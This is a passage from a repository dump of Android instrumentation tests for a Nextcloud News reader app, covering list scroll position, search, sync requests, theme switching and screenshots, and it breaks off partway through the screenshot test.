    "content": "package de.luhmer.owncloudnewsreader.tests;\n\nimport android.content.SharedPreferences;\nimport android.os.Bundle;\nimport android.os.SystemClock;\nimport android.view.View;\n\nimport androidx.annotation.IdRes;\nimport androidx.annotation.NonNull;\nimport androidx.fragment.app.Fragment;\nimport androidx.recyclerview.widget.LinearLayoutManager;\nimport androidx.recyclerview.widget.RecyclerView;\nimport androidx.test.espresso.Espresso;\nimport androidx.test.espresso.contrib.RecyclerViewActions;\nimport androidx.test.espresso.matcher.BoundedMatcher;\nimport androidx.test.espresso.matcher.ViewMatchers;\nimport androidx.test.filters.LargeTest;\nimport androidx.test.rule.ActivityTestRule;\nimport androidx.test.rule.GrantPermissionRule;\nimport androidx.test.runner.AndroidJUnit4;\n\nimport com.nextcloud.android.sso.aidl.NextcloudRequest;\n\nimport org.hamcrest.Description;\nimport org.hamcrest.Matcher;\nimport org.junit.Before;\nimport org.junit.Rule;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.mockito.ArgumentCaptor;\n\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\nimport java.util.List;\nimport java.util.stream.Collectors;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.Constants;\nimport de.luhmer.owncloudnewsreader.NewsReaderDetailFragment;\nimport de.luhmer.owncloudnewsreader.NewsReaderListActivity;\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.TestApplication;\nimport de.luhmer.owncloudnewsreader.adapter.NewsListRecyclerAdapter;\nimport de.luhmer.owncloudnewsreader.adapter.RssItemViewHolder;\nimport de.luhmer.owncloudnewsreader.di.ApiProvider;\nimport de.luhmer.owncloudnewsreader.di.TestApiProvider;\nimport de.luhmer.owncloudnewsreader.di.TestComponent;\nimport helper.OrientationChangeAction;\nimport helper.RecyclerViewAssertions;\n\nimport static androidx.core.util.Preconditions.checkNotNull;\nimport static androidx.test.InstrumentationRegistry.getInstrumentation;\nimport static androidx.test.InstrumentationRegistry.registerInstance;\nimport static androidx.test.espresso.Espresso.onView;\nimport static androidx.test.espresso.action.ViewActions.click;\nimport static androidx.test.espresso.action.ViewActions.typeText;\nimport static androidx.test.espresso.assertion.ViewAssertions.doesNotExist;\nimport static androidx.test.espresso.assertion.ViewAssertions.matches;\nimport static androidx.test.espresso.matcher.ViewMatchers.hasDescendant;\nimport static androidx.test.espresso.matcher.ViewMatchers.isDisplayed;\nimport static androidx.test.espresso.matcher.ViewMatchers.isRoot;\nimport static androidx.test.espresso.matcher.ViewMatchers.withClassName;\nimport static androidx.test.espresso.matcher.ViewMatchers.withContentDescription;\nimport static androidx.test.espresso.matcher.ViewMatchers.withEffectiveVisibility;\nimport static androidx.test.espresso.matcher.ViewMatchers.withId;\nimport static androidx.test.espresso.matcher.ViewMatchers.withText;\nimport static de.luhmer.owncloudnewsreader.helper.Utils.clearFocus;\nimport static de.luhmer.owncloudnewsreader.helper.Utils.initMaterialShowCaseView;\nimport static de.luhmer.owncloudnewsreader.helper.Utils.sleep;\nimport static junit.framework.TestCase.assertNotNull;\nimport static junit.framework.TestCase.assertTrue;\nimport static junit.framework.TestCase.fail;\nimport static org.hamcrest.Matchers.allOf;\nimport static org.hamcrest.Matchers.is;\nimport static org.mockito.ArgumentMatchers.any;\nimport static org.mockito.Mockito.times;\nimport static org.mockito.Mockito.verify;\n\n@RunWith(AndroidJUnit4.class)\n@LargeTest\npublic class NewsReaderListActivityUiTests {\n\n    private int scrollPosition = 10;\n\n    @Rule\n    public ActivityTestRule<NewsReaderListActivity> mActivityRule = new ActivityTestRule<>(NewsReaderListActivity.class);\n\n    @Rule\n    public GrantPermissionRule mRuntimePermissionRule = GrantPermissionRule.grant(android.Manifest.permission.ACCESS_FINE_LOCATION);\n\n    protected @Inject SharedPreferences mPrefs;\n    protected @Inject ApiProvider mApi;\n\n    private NewsReaderListActivity getActivity() {\n        return mActivityRule.getActivity();\n    }\n\n    @Before\n    public void setUp() {\n        registerInstance(getInstrumentation(), new Bundle());\n        sleep(0.3f);\n\n        TestComponent ac = (TestComponent) ((TestApplication)(getActivity().getApplication())).getAppComponent();\n        ac.inject(this);\n\n        clearFocus();\n\n        initMaterialShowCaseView(getActivity());\n    }\n\n    @Test\n    public void testPositionAfterOrientationChange_sameActivity() {\n        NewsReaderDetailFragment ndf = (NewsReaderDetailFragment) waitForFragment(R.id.content_frame, 5000);\n\n        onView(withId(R.id.list)).perform(\n                RecyclerViewActions.scrollToPosition(scrollPosition));\n\n        onView(isRoot()).perform(OrientationChangeAction.orientationLandscape(getActivity()));\n        //onView(isRoot()).perform(OrientationChangeAction.orientationPortrait(getActivity()));\n\n        sleep(2000);\n\n        LinearLayoutManager llm = (LinearLayoutManager) ndf.getRecyclerView().getLayoutManager();\n        int expectedPosition = scrollPosition-(scrollPosition-llm.findFirstVisibleItemPosition());\n\n        // As there is a little offset when rotating.. we need to add one here..\n        onView(withId(R.id.list)).check(new RecyclerViewAssertions(expectedPosition+1));\n        onView(withId(R.id.tv_no_items_available)).check(matches(withEffectiveVisibility(ViewMatchers.Visibility.GONE)));\n\n        sleep(2000);\n\n        onView(isRoot()).perform(OrientationChangeAction.orientationPortrait(getActivity()));\n\n        onView(withId(R.id.list)).check(new RecyclerViewAssertions(expectedPosition));\n        onView(withId(R.id.tv_no_items_available)).check(matches(withEffectiveVisibility(ViewMatchers.Visibility.GONE)));\n    }\n\n    @Test\n    public void testPositionAfterActivityRestart_sameActivity() {\n        onView(withId(R.id.list)).perform(RecyclerViewActions.scrollToPosition(scrollPosition));\n\n        onView(withId(R.id.list)).perform(RecyclerViewActions.actionOnItemAtPosition(scrollPosition, click()));\n\n        sleep(2000);\n\n        Espresso.pressBack();\n\n        NewsReaderDetailFragment ndf = (NewsReaderDetailFragment) waitForFragment(R.id.content_frame, 5000);\n        assertNotNull(ndf);\n        final NewsListRecyclerAdapter na = (NewsListRecyclerAdapter) ndf.getRecyclerView().getAdapter();\n        assertNotNull(na);\n        final RssItemViewHolder vh = (RssItemViewHolder) ndf.getRecyclerView().getChildViewHolder(ndf.getRecyclerView().getLayoutManager().findViewByPosition(scrollPosition));\n        assertNotNull(vh);\n        LinearLayoutManager llm = (LinearLayoutManager) ndf.getRecyclerView().getLayoutManager();\n\n        getActivity().runOnUiThread(() -> na.changeReadStateOfItem(vh, false));\n        sleep(1.0f);\n\n        int expectedPosition = scrollPosition-(scrollPosition-llm.findFirstVisibleItemPosition());\n        onView(withId(R.id.list)).check(new RecyclerViewAssertions(expectedPosition));\n        onView(withId(R.id.tv_no_items_available)).check(matches(withEffectiveVisibility(ViewMatchers.Visibility.GONE)));\n    }\n\n\n    @Test\n    public void testSyncFinishedRefreshRecycler_sameActivity() {\n        assertTrue(syncResultTest(true));\n    }\n\n    @Test\n    public void testSyncFinishedSnackbar_sameActivity() {\n        assertTrue(syncResultTest(false));\n    }\n\n\n    @Test\n    public void searchTest() {\n        String firstItem = \"Immer wieder sonntags KW 19\";\n        // String firstItem = \"These are the best screen protectors for the Huawei P30 Pro\";\n\n        // Check first item\n        checkRecyclerViewFirstItemText(firstItem);\n\n        // Open search menu\n        onView(allOf(withId(R.id.menu_search), withContentDescription(getString(R.string.action_search)), isDisplayed())).perform(click());\n\n        // Type in \"test\" into searchbar\n        onView(allOf(withClassName(is(\"android.widget.SearchView$SearchAutoComplete\")), isDisplayed())).perform(typeText(\"test\"));\n        sleep(1000);\n        checkRecyclerViewFirstItemText(\"VR ohne Kabel: Die Oculus Quest im Test, definitiv der richtige Ansatz\");\n        // checkRecyclerViewFirstItemText(\"Testfahrt im Mercedes E 300 de mit 90-kW-Elektromotor und Vierzylinder-Diesel\");\n\n        // Close search bar\n        onView(withContentDescription(\"Collapse\")).perform(click());\n\n        sleep(1000);\n\n        // Test if search reset was successful\n        checkRecyclerViewFirstItemText(firstItem);\n    }\n\n    @Test\n    public void syncTest() {\n        // Open navigation drawer\n        onView(allOf(withContentDescription(getString(R.string.news_list_drawer_text)), isDisplayed())).perform(click());\n\n        sleep(1500);\n\n        /*\n        // Click on Got it\n        onView(allOf(withText(\"GOT IT\"), isDisplayed())).perform(click());\n\n        sleep(1000);\n        */\n\n        // Trigger refresh\n        onView(allOf(withContentDescription(getString(R.string.content_desc_tap_to_refresh)), isDisplayed())).perform(click());\n\n        sleep(1000);\n        try {\n            verifySyncRequested();\n        } catch (Exception e) {\n            fail(e.getMessage());\n        }\n    }\n\n    // Verify that the API was actually called\n    private void verifySyncRequested() throws Exception {\n        TestApiProvider.NewsTestNetworkRequest nr = ((TestApiProvider)mApi).networkRequestSpy;\n        ArgumentCaptor<NextcloudRequest> argument = ArgumentCaptor.forClass(NextcloudRequest.class);\n        verify(nr, times(6)).performNetworkRequest(argument.capture(), any());\n\n        List<String> requestedUrls = argument.getAllValues().stream().map(nextcloudRequest -> nextcloudRequest.getUrl()).collect(Collectors.toList());\n\n        assertTrue(requestedUrls.contains(\"/index.php/apps/news/api/v1-2/folders\"));\n        assertTrue(requestedUrls.contains(\"/index.php/apps/news/api/v1-2/feeds\"));\n        assertTrue(requestedUrls.contains(\"/index.php/apps/news/api/v1-2/items/unread/multiple\"));\n        assertTrue(requestedUrls.contains(\"/index.php/apps/news/api/v1-2/items\")); // TODO Double check why /items is called twice... ?\n        assertTrue(requestedUrls.contains(\"/index.php/apps/news/api/v1-2/user\"));\n    }\n\n\n\n    private void checkRecyclerViewFirstItemText(String text) {\n        onView(withId(R.id.list)).check(matches(atPosition(0, hasDescendant(withText(text)))));\n    }\n\n    private String getString(@IdRes int resId) {\n        return mActivityRule.getActivity().getString(resId);\n    }\n\n\n    public static Matcher<View> atPosition(final int position, @NonNull final Matcher<View> itemMatcher) {\n        checkNotNull(itemMatcher);\n        return new BoundedMatcher<View, RecyclerView>(RecyclerView.class) {\n            @Override\n            public void describeTo(Description description) {\n                description.appendText(\"has item at position \" + position + \": \");\n                itemMatcher.describeTo(description);\n            }\n\n            @Override\n            protected boolean matchesSafely(final RecyclerView view) {\n                RecyclerView.ViewHolder viewHolder = view.findViewHolderForAdapterPosition(position);\n                if (viewHolder == null) {\n                    // has no item on such position\n                    return false;\n                }\n                return itemMatcher.matches(viewHolder.itemView);\n            }\n        };\n    }\n\n    private boolean syncResultTest(boolean testFirstPosition) {\n        if(!testFirstPosition) {\n            onView(withId(R.id.list)).perform(RecyclerViewActions.scrollToPosition(scrollPosition));\n        }\n\n        mPrefs.edit().putInt(Constants.LAST_UPDATE_NEW_ITEMS_COUNT_STRING, 5).commit();\n\n        try {\n            final Method method = NewsReaderListActivity.class.getDeclaredMethod(\"syncFinishedHandler\");\n            method.setAccessible(true);\n            getActivity().runOnUiThread(new Runnable() {\n                @Override\n                public void run() {\n                    try {\n                        if (!(boolean) method.invoke(getActivity())) {\n                            fail(\"Method invocation failed!\");\n                        }\n                    } catch (IllegalAccessException e) {\n                        e.printStackTrace();\n                        fail(e.getMessage());\n                    } catch (InvocationTargetException e) {\n                        e.printStackTrace();\n                        fail(e.getMessage());\n                    }\n                }\n            });\n            getInstrumentation().waitForIdleSync();\n            sleep(1.0f);\n\n            if(!testFirstPosition) {\n                onView(withId(com.google.android.material.R.id.snackbar_text)).check(matches(isDisplayed()));\n            } else {\n                onView(withId(com.google.android.material.R.id.snackbar_text)).check(doesNotExist());\n            }\n        } catch (NoSuchMethodException e) {\n            e.printStackTrace();\n            fail(e.getMessage());\n        }\n        return true;\n    }\n\n    private Fragment waitForFragment(int id, int timeout) {\n        long endTime = SystemClock.uptimeMillis() + timeout;\n        while (SystemClock.uptimeMillis() <= endTime) {\n            Fragment fragment = getActivity().getSupportFragmentManager().findFragmentById(id);\n            if (fragment != null) {\n                return fragment;\n            }\n        }\n        return null;\n    }\n\n\n}"
  },
  {
    "path": "News-Android-App/src/androidTest/java/de/luhmer/owncloudnewsreader/tests/NightModeTest.java",
    "content": "package de.luhmer.owncloudnewsreader.tests;\n\nimport android.app.Activity;\nimport android.content.Context;\nimport android.content.SharedPreferences;\n\nimport androidx.recyclerview.widget.RecyclerView;\nimport androidx.test.InstrumentationRegistry;\nimport androidx.test.espresso.contrib.RecyclerViewActions;\nimport androidx.test.filters.LargeTest;\nimport androidx.test.rule.ActivityTestRule;\nimport androidx.test.rule.GrantPermissionRule;\nimport androidx.test.runner.AndroidJUnit4;\n\nimport org.junit.Before;\nimport org.junit.Rule;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\n\nimport java.lang.reflect.Field;\nimport java.lang.reflect.InvocationTargetException;\nimport java.lang.reflect.Method;\n\nimport javax.inject.Inject;\n\nimport de.luhmer.owncloudnewsreader.NewsReaderListActivity;\nimport de.luhmer.owncloudnewsreader.R;\nimport de.luhmer.owncloudnewsreader.TestApplication;\nimport de.luhmer.owncloudnewsreader.di.TestComponent;\nimport de.luhmer.owncloudnewsreader.helper.ThemeChooser;\n\nimport static androidx.test.espresso.Espresso.onView;\nimport static androidx.test.espresso.Espresso.openActionBarOverflowOrOptionsMenu;\nimport static androidx.test.espresso.action.ViewActions.click;\nimport static androidx.test.espresso.matcher.ViewMatchers.hasDescendant;\nimport static androidx.test.espresso.matcher.ViewMatchers.withContentDescription;\nimport static androidx.test.espresso.matcher.ViewMatchers.withText;\nimport static junit.framework.TestCase.assertTrue;\nimport static org.hamcrest.CoreMatchers.instanceOf;\nimport static org.hamcrest.CoreMatchers.is;\nimport static org.junit.Assert.assertEquals;\nimport static org.junit.Assert.assertFalse;\nimport static org.junit.Assert.fail;\n\n@RunWith(AndroidJUnit4.class)\n@LargeTest\npublic class NightModeTest {\n\n    protected @Inject SharedPreferences mPrefs;\n\n    /**\n     * NOTE: These tests only work during \"daylight\".. (this is because there is no way to check\n     * the current state of the android day/night mode)\n     */\n\n    @Rule\n    public ActivityTestRule<NewsReaderListActivity> mActivityRule = new ActivityTestRule<>(NewsReaderListActivity.class);\n    //public ActivityTestRule<NewsReaderListActivity> mActivityRule = new ActivityTestRule<>(NewsReaderListActivity.class, true, false);\n\n    @Rule\n    public GrantPermissionRule mRuntimePermissionRule = GrantPermissionRule.grant(android.Manifest.permission.ACCESS_FINE_LOCATION);\n\n    private Activity getActivity() {\n        return mActivityRule.getActivity();\n    }\n\n    @Before\n    public void resetSharedPrefs() {\n        TestComponent ac = (TestComponent) ((TestApplication)(getActivity().getApplication())).getAppComponent();\n        ac.inject(this);\n\n        /*\n        // Set Fixed time\n        Instant.now(\n                Clock.fixed(\n                        Instant.parse( \"2019-04-05T18:00:00Z\"), ZoneOffset.UTC\n                )\n        );\n        */\n    }\n\n\n    @Test\n    public void testBackgroundDaylightTheme() {\n        assertFalse(isDarkTheme());\n        //onView(withId(R.id.sliding_layout)).check(matches(withBackgroundColor(android.R.color.white, getActivity())));\n    }\n\n    @Test\n    public void testOledAutoMode() {\n        openActionBarOverflowOrOptionsMenu(InstrumentationRegistry.getTargetContext());\n        openSettings();\n\n        changeAppTheme(R.string.pref_display_apptheme_auto);\n        switchOled();\n        navigateUp();\n        assertFalse(isDarkTheme());\n        sleep();\n\n        //onView(withId(R.id.sliding_layout)).check(ViewAssertions.matches(CustomMatchers.withBackgroundColor(android.R.color.white, getActivity())));\n        assertEquals(ThemeChooser.THEME.LIGHT, getPrivateField(\"mSelectedTheme\"));\n    }\n\n    @Test\n    public void testLightTheme() {\n        openActionBarOverflowOrOptionsMenu(InstrumentationRegistry.getTargetContext());\n        openSettings();\n\n        changeAppTheme(R.string.pref_display_apptheme_light);\n        navigateUp();\n        sleep();\n        boolean isDarkTheme = isDarkTheme();\n        assertFalse(ThemeChooser.isOledMode(false));\n        assertFalse(isDarkTheme);\n        assertEquals(ThemeChooser.THEME.LIGHT, getPrivateField(\"mSelectedTheme\"));\n        //sleep();\n    }\n\n    @Test\n    public void testDarkTheme() {\n        openActionBarOverflowOrOptionsMenu(InstrumentationRegistry.getTargetContext());\n        openSettings();\n\n        changeAppTheme(R.string.pref_display_apptheme_dark);\n        navigateUp();\n        sleep();\n        boolean isDarkTheme = isDarkTheme();\n        assertFalse(ThemeChooser.isOledMode(false));\n        assertTrue(isDarkTheme);\n        assertEquals(ThemeChooser.THEME.DARK, getPrivateField(\"mSelectedTheme\"));\n        //sleep();\n    }\n\n    @Test\n    public void testDarkOledTheme() {\n        openActionBarOverflowOrOptionsMenu(InstrumentationRegistry.getTargetContext());\n        openSettings();\n\n        changeAppTheme(R.string.pref_display_apptheme_dark);\n        switchOled();\n        navigateUp();\n        sleep();\n        boolean isDarkTheme = isDarkTheme();\n        assertTrue(ThemeChooser.isOledMode(false));\n        assertTrue(isDarkTheme);\n        assertEquals(ThemeChooser.THEME.OLED, getPrivateField(\"mSelectedTheme\"));\n        //sleep();\n    }\n\n    private void sleep() {\n        try {\n            Thread.sleep(1000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n    }\n\n    private void navigateUp() {\n        onView(withContentDescription(androidx.appcompat.R.string.abc_action_bar_up_description)).perform(click());\n    }\n\n    private void openSettings() {\n        onView(withText(getActivity().getString(R.string.action_settings))).perform(click());\n    }\n\n    private void changeAppTheme(int appThemeText) {\n        String title = getActivity().getString(R.string.pref_title_app_theme);\n\n        onView(is(instanceOf(RecyclerView.class)))\n            .perform(RecyclerViewActions.scrollTo(hasDescendant(withText(title))))\n            .perform(RecyclerViewActions.actionOnItem(hasDescendant(withText(title)), click()));\n\n        onView(withText(getActivity().getString(appThemeText)))\n                .perform(click());\n    }\n\n    private void switchOled() {\n        String title = getActivity().getString(R.string.pref_oled_mode);\n\n        onView(is(instanceOf(RecyclerView.class)))\n                .perform(RecyclerViewActions.scrollTo(hasDescendant(withText(title))))\n                .perform(RecyclerViewActions.actionOnItem(hasDescendant(withText(title)), click()));\n    }\n\n    private boolean isDarkTheme() {\n        try {\n            Method method = ThemeChooser.class.getDeclaredMethod(\"isDarkTheme\", Context.class);\n            method.setAccessible(true);\n            boolean isDarkTheme = (boolean) method.invoke(null, getActivity());\n            return isDarkTheme;\n        } catch (NoSuchMethodException | IllegalAccessException | InvocationTargetException e) {\n            fail(e.toString() + \" - \" + e.getMessage());\n        }\n        return false;\n    }\n\n    private Object getPrivateField(String fieldName) {\n        try {\n            Field[] fields = ThemeChooser.class.getDeclaredFields();\n            for (Field field : fields) {\n                if(fieldName.equals(field.getName())) {\n                    field.setAccessible(true);\n                    return field.get(null);\n                }\n            }\n        } catch (IllegalAccessException e) {\n            fail(e.getMessage());\n        }\n        return null;\n    }\n\n}"
  },
  {
    "path": "News-Android-App/src/androidTest/java/helper/CustomMatchers.java",
    "content": "package helper;\n\nimport android.app.Activity;\nimport android.content.Context;\nimport android.graphics.Bitmap;\nimport android.graphics.drawable.BitmapDrawable;\nimport android.graphics.drawable.ColorDrawable;\nimport android.graphics.drawable.Drawable;\nimport android.graphics.drawable.StateListDrawable;\nimport android.os.Build;\nimport android.util.Log;\nimport android.view.View;\nimport android.widget.ImageView;\nimport android.widget.TextView;\n\nimport androidx.core.content.ContextCompat;\nimport androidx.test.espresso.matcher.BoundedMatcher;\n\nimport org.hamcrest.Description;\nimport org.hamcrest.Matcher;\nimport org.hamcrest.TypeSafeDiagnosingMatcher;\nimport org.hamcrest.TypeSafeMatcher;\n\npublic class CustomMatchers {\n    private static final String TAG = CustomMatchers.class.getCanonicalName();\n\n    public static Matcher<View> withBackgroundColor(final int resourceColorId, final Activity activity) {\n        return new TypeSafeDiagnosingMatcher<View>() {\n\n            String error;\n\n            @Override\n            public void describeTo(Description description) {\n                description.appendText(error);\n            }\n\n            @Override\n            protected boolean matchesSafely(View view, Description mismatchDescription) {\n                Drawable drawable = view.getBackground();\n                Drawable otherDrawable = ContextCompat.getDrawable(view.getContext(), resourceColorId);\n\n                if (drawable instanceof ColorDrawable) {\n                    int colorId = ((ColorDrawable) drawable).getColor();\n\n                    if(colorId == resourceColorId) {\n                        return true;\n                    } else {\n                        error = \"FAILED Got: \" + colorId;\n                    }\n                } else {\n                    Log.e(TAG, drawable.toString());\n                    Log.e(TAG, otherDrawable.toString());\n                    error = \"Not ColorDrawable's!!\";\n                }\n\n                return false;\n            }\n        };\n    }\n\n    private static int getColor(Context context, int color) {\n        if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.M) {\n            return context.getColor(color);\n        } else {\n            return ContextCompat.getColor(context, color);\n        }\n    }\n\n    public static int getBackgroundColor(Context context, View v, int defaultColor) {\n        Drawable drawable = v.getBackground();\n        if (drawable instanceof ColorDrawable) {\n            ColorDrawable colorDrawable = (ColorDrawable) drawable;\n            return colorDrawable.getColor();\n        } else {\n            return getColor(context, defaultColor);\n        }\n    }\n\n    public static Matcher<View> withBackground(final int resourceId) {\n        return new TypeSafeMatcher<View>() {\n\n            @Override\n            public boolean matchesSafely(View view) {\n                return sameBitmap(view.getContext(), view.getBackground(), resourceId);\n            }\n\n            @Override\n            protected void describeMismatchSafely(View item, Description mismatchDescription) {\n                mismatchDescription.appendText(\"view.getBackground() returned: \" + item.getBackground());\n            }\n\n            @Override\n            public void describeTo(Description description) {\n                description.appendText(\"\" + resourceId);\n            }\n        };\n    }\n\n    public static Matcher<View> withCompoundDrawable(final int resourceId) {\n        return new BoundedMatcher<View, TextView>(TextView.class) {\n            @Override\n            public void describeTo(Description description) {\n                description.appendText(\"has compound drawable resource \" + resourceId);\n            }\n\n            @Override\n            public boolean matchesSafely(TextView textView) {\n                for (Drawable drawable : textView.getCompoundDrawables()) {\n                    if (sameBitmap(textView.getContext(), drawable, resourceId)) {\n                        return true;\n                    }\n                }\n                return false;\n            }\n        };\n    }\n\n    public static Matcher<View> withImageDrawable(final int resourceId) {\n        return new BoundedMatcher<View, ImageView>(ImageView.class) {\n            @Override\n            public void describeTo(Description description) {\n                description.appendText(\"has image drawable resource \" + resourceId);\n            }\n\n            @Override\n            public boolean matchesSafely(ImageView imageView) {\n                return sameBitmap(imageView.getContext(), imageView.getDrawable(), resourceId);\n            }\n        };\n    }\n\n    private static boolean sameBitmap(Context context, Drawable drawable, int resourceId) {\n        Drawable otherDrawable = context.getResources().getDrawable(resourceId);\n        if (drawable == null || otherDrawable == null) {\n            Log.e(TAG, \"drawable null!!\");\n            return false;\n        }\n        if (drawable instanceof StateListDrawable && otherDrawable instanceof StateListDrawable) {\n            Log.e(TAG, \"other drawable!!\");\n            return drawable.getCurrent().equals(otherDrawable.getCurrent());\n        }\n        if (drawable instanceof BitmapDrawable) {\n            Log.e(TAG, \"bitmap drawable!!\");\n            Bitmap bitmap = ((BitmapDrawable) drawable).getBitmap();\n            Bitmap otherBitmap = ((BitmapDrawable) otherDrawable).getBitmap();\n            return bitmap.sameAs(otherBitmap);\n        }\n        return false;\n    }\n}"
  },
  {
    "path": "News-Android-App/src/androidTest/java/helper/OrientationChangeAction.java",
    "content": "/*\n * The MIT License (MIT)\n *\n * Copyright (c) 2015 - Nathan Barraille\n *\n * Permission is hereby granted, free of charge, to any person obtaining a copy\n * of this software and associated documentation files (the \"Software\"), to deal\n * in the Software without restriction, including without limitation the rights\n * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell\n * copies of the Software, and to permit persons to whom the Software is\n * furnished to do so, subject to the following conditions:\n * \n * The above copyright notice and this permission notice shall be included in all\n * copies or substantial portions of the Software.\n * \n * THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\n * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\n * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\n * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\n * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\n * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\n * SOFTWARE.\n * \n */\n\npackage helper;\n\nimport android.app.Activity;\nimport android.content.pm.ActivityInfo;\nimport android.view.View;\n\nimport androidx.test.espresso.UiController;\nimport androidx.test.espresso.ViewAction;\nimport androidx.test.runner.lifecycle.ActivityLifecycleMonitorRegistry;\nimport androidx.test.runner.lifecycle.Stage;\n\nimport org.hamcrest.Matcher;\n\nimport java.util.Collection;\n\nimport static androidx.test.espresso.matcher.ViewMatchers.isRoot;\n\n/**\n * An Espresso ViewAction that changes the orientation of the screen\n */\npublic class OrientationChangeAction implements ViewAction {\n\n    private final int orientation;\n    private Activity activity;\n\n    private OrientationChangeAction(int orientation, Activity activity) {\n        this.orientation = orientation;\n        this.activity = activity;\n    }\n\n    @Override\n    public Matcher<View> getConstraints() {\n        return isRoot();\n    }\n\n    @Override\n    public String getDescription() {\n        return \"change orientation to \" + orientation;\n    }\n\n    @Override\n    public void perform(UiController uiController, View view) {\n        uiController.loopMainThreadUntilIdle();\n        activity.setRequestedOrientation(orientation);\n\n        Collection<Activity> resumedActivities = ActivityLifecycleMonitorRegistry.getInstance().getActivitiesInStage(Stage.RESUMED);\n        if (resumedActivities.isEmpty()) {\n            throw new RuntimeException(\"Could not change orientation\");\n        }\n    }\n\n    public static ViewAction orientationLandscape(Activity activity) {\n        return new OrientationChangeAction(ActivityInfo.SCREEN_ORIENTATION_LANDSCAPE, activity);\n    }\n\n    public static ViewAction orientationPortrait(Activity activity) {\n        return new OrientationChangeAction(ActivityInfo.SCREEN_ORIENTATION_PORTRAIT, activity);\n    }\n}"
  },
  {
    "path": "News-Android-App/src/androidTest/java/helper/RecyclerViewAssertions.java",
    "content": "package helper;\n\nimport android.view.View;\n\nimport androidx.recyclerview.widget.LinearLayoutManager;\nimport androidx.recyclerview.widget.RecyclerView;\nimport androidx.test.espresso.NoMatchingViewException;\nimport androidx.test.espresso.ViewAssertion;\n\npublic class RecyclerViewAssertions implements ViewAssertion {\n\n    private int mExpectedPos;\n\n    public RecyclerViewAssertions(int expectedPos) {\n        this.mExpectedPos = expectedPos;\n    }\n\n    @Override\n    public void check(View view, NoMatchingViewException e) {\n        RecyclerView recyclerView = (RecyclerView) view;\n        LinearLayoutManager layoutManager = ((LinearLayoutManager)recyclerView.getLayoutManager());\n        int firstVisiblePosition = layoutManager.findFirstVisibleItemPosition();\n\n        if(firstVisiblePosition != mExpectedPos) {\n            throw new RuntimeException(\"Wrong position! Expected: \" + mExpectedPos + \" but was: \" + firstVisiblePosition);\n        }\n    }\n}\n"
  },
  {
    "path": "News-Android-App/src/androidTest/java/screengrab/ScreenshotTest.java",
    "content": "package screengrab;\n\nimport androidx.core.view.GravityCompat;\nimport androidx.test.filters.LargeTest;\nimport androidx.test.rule.ActivityTestRule;\nimport androidx.test.rule.GrantPermissionRule;\n\nimport org.junit.Before;\nimport org.junit.ClassRule;\nimport org.junit.Rule;\nimport org.junit.Test;\nimport org.junit.runner.RunWith;\nimport org.junit.runners.JUnit4;\n\nimport de.luhmer.owncloudnewsreader.NewsReaderDetailFragment;\nimport de.luhmer.owncloudnewsreader.NewsReaderListActivity;\nimport de.luhmer.owncloudnewsreader.NewsReaderListFragment;\nimport de.luhmer.owncloudnewsreader.adapter.NewsListRecyclerAdapter;\nimport de.luhmer.owncloudnewsreader.adapter.RssItemViewHolder;\nimport de.luhmer.owncloudnewsreader.database.DatabaseConnectionOrm;\nimport de.luhmer.owncloudnewsreader.model.PodcastItem;\nimport tools.fastlane.screengrab.Screengrab;\nimport tools.fastlane.screengrab.UiAutomatorScreenshotStrategy;\nimport tools.fastlane.screengrab.locale.LocaleTestRule;\n\nimport static de.luhmer.owncloudnewsreader.helper.Utils.clearFocus;\nimport static de.luhmer.owncloudnewsreader.helper.Utils.initMaterialShowCaseView;\n\n/**\n * Created by David on 06.03.2016.\n */\n@RunWith(JUnit4.class)\n@LargeTest\npublic class ScreenshotTest {\n\n    @ClassRule\n    public static final LocaleTestRule localTestRule = new LocaleTestRule();\n\n    @Rule\n    public ActivityTestRule<NewsReaderListActivity> mActivityRule = new ActivityTestRule<>(NewsReaderListActivity.class);\n\n    @Rule\n    public GrantPermissionRule mRuntimePermissionRule = GrantPermissionRule.grant(android.Manifest.permission.ACCESS_FINE_LOCATION, android.Manifest.permission.WRITE_EXTERNAL_STORAGE);\n\n\n    private NewsReaderListActivity mActivity;\n    private NewsReaderListFragment nrlf;\n    private NewsReaderDetailFragment nrdf;\n    private int itemPos = 0;\n\n    //private int podcastGroupPosition = 3;\n\n    @Before\n    public void setUp() {\n        Screengrab.setDefaultScreenshotStrategy(new UiAutomatorScreenshotStrategy());\n\n        mActivity = mActivityRule.getActivity();\n        nrlf = mActivity.getSlidingListFragment();\n        nrdf = mActivity.getNewsReaderDetailFragment();\n\n        clearFocus();\n\n        initMaterialShowCaseView(mActivity);\n    }\n\n\n\n    @Test\n    public void testTakeScreenshots() {\n        Screengrab.screenshot(\"startup\");\n\n        mActivity.runOnUiThread(() -> {\n            openDrawer();\n            //nrlf.getListView().expandGroup(podcastGroupPosition);\n        });\n\n        try {\n            Thread.sleep(500);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n\n        Screengrab.screenshot(\"slider_open\");\n\n\n        mActivity.runOnUiThread(() -> {\n            closeDrawer();\n\n            try {\n                Thread.sleep(200);\n            } catch (InterruptedException e) {\n                e.printStackTrace();\n            }\n\n            mActivity.onClick(null, itemPos); //Select item\n\n        });\n\n        try {\n            Thread.sleep(8000);\n        } catch (InterruptedException e) {\n            e.printStackTrace();\n        }\n\n        Screengrab.screenshot(\"detail_activity\");\n\n        mActivity.runOnUiThread(() -> {\n            NewsListRecyclerAdapter na = (NewsListRecyclerAdapter) nrdf.getRecyclerView().getAdapter();\n            RssItemViewHolder vh = (RssItemViewHolder) 